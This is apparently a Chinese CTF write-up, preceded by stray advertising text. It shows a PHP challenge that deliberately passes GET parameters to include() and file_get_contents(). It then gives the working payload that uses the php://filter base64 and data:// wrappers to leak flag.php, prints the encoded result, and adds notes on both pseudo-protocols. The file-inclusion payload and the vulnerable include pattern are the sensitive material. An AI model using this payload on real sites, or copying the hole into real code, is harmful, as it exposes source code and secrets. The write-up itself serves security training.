云南省網(wǎng)站備案要求網(wǎng)絡(luò)推廣企劃
進(jìn)入靶場
<?php
// 包含 flag.php 文件
include("flag.php");// 以高亮語法顯示當(dāng)前文件(即包含這段代碼的 PHP 文件)的內(nèi)容
// 方便查看當(dāng)前代碼結(jié)構(gòu)和邏輯,常用于調(diào)試或給解題者提示代碼信息
highlight_file(__FILE__);// 檢查是否通過 GET 請求傳遞了名為 file1 和 file2 的兩個(gè)參數(shù)
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{// 如果傳遞了這兩個(gè)參數(shù),將它們的值分別賦給變量 $file1 和 $file2$file1 = $_GET["file1"];$file2 = $_GET["file2"];// 檢查 $file1 和 $file2 這兩個(gè)變量的值是否不為空if(!empty($file1) && !empty($file2)){// 使用 file_get_contents 函數(shù)讀取 $file2 指定文件的全部內(nèi)容// 并檢查讀取的內(nèi)容是否嚴(yán)格等于字符串 "hello ctf"if(file_get_contents($file2) === "hello ctf"){// 如果 $file2 文件的內(nèi)容是 "hello ctf",則包含 $file1 指定的文件// 這可能會(huì)執(zhí)行 $file1 文件中的代碼,是利用漏洞獲取 flag 的關(guān)鍵步驟include($file1);}}else// 如果 $file1 或 $file2 為空,輸出 "NONONO" 并終止腳本執(zhí)行die("NONONO");
}
?>
需要用偽協(xié)議模擬文件
容易構(gòu)造
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
?
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXsyMTJmMWNiZDNiYTc2OGYyZWRlMjZkZmY2YTM4ZGZmMH0=
CTF在線工具-在線base編碼|在線base解碼|base16編碼|base32編碼|base64編碼?
?
筆記?
1,data://
?偽協(xié)議的使用
data://
?是 PHP 中的偽協(xié)議,它允許將一段數(shù)據(jù)當(dāng)作一個(gè)虛擬文件來處理。其基本格式如下:
data://<mime-type>[;charset=<charset>][;base64],<data>
<mime-type>
:指定數(shù)據(jù)的 MIME 類型,text/plain
?表示純文本類型。charset
:可選參數(shù),用于指定字符編碼。base64
:可選參數(shù),若數(shù)據(jù)經(jīng)過 Base64 編碼則需指定。<data>
:實(shí)際的數(shù)據(jù)內(nèi)容,也就是要作為虛擬文件執(zhí)行的代碼。
2,php://偽協(xié)議的使用
php://filter/<過濾類型>/resource=<文件路徑>